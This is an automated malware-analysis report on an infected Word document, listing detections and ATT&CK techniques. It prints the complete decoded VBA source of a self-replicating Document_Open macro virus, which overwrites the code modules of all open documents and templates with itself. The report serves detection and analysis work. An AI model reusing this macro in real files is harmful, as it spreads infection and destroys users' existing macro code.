MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to copy itself into other documents and templates, indicating an attempt to spread and infect the user's environment. The presence of the 'ALERGIA' string suggests a potential link to a specific campaign or malware family, though it is not definitively identified.
Heuristics 3
-
ClamAV: Doc.Trojan.Quaint-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Quaint-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1048 bytes |
SHA-256: bf84da12d18b985c010306dd22eadbae07b6f9d2c60b1daa6910f029d6adea94 |
|||
|
Detection
ClamAV:
Doc.Trojan.Quaint-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Const JEDAN = 2 - 1
ASD987 = Templates.Count
ASD654 = Strings.LTrim(ThisDocument.VBProject.VBCOMPONENTS(JEDAN) _
.CODEMODULE.LINES(JEDAN, ThisDocument.VBProject.VBCOMPONENTS(JEDAN) _
.CODEMODULE.COUNTOFLINES))
For a = 1 To ASD987
With Templates(a).VBProject.VBCOMPONENTS(JEDAN).CODEMODULE
If .LINES(JEDAN, 27) <> "'ALERGIA" Then
.DELETELINES JEDAN, .COUNTOFLINES: .ADDFROMSTRING ASD654
End If
End With
Next a
For b = 1 To Documents.Count
With Documents(b).VBProject.VBCOMPONENTS(JEDAN).CODEMODULE
If .LINES(JEDAN, 27) <> "'ALERGIA" Then
.DELETELINES JEDAN, .COUNTOFLINES: .ADDFROMSTRING ASD654
End If
End With
Next b
End Sub
'ALERGIA
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.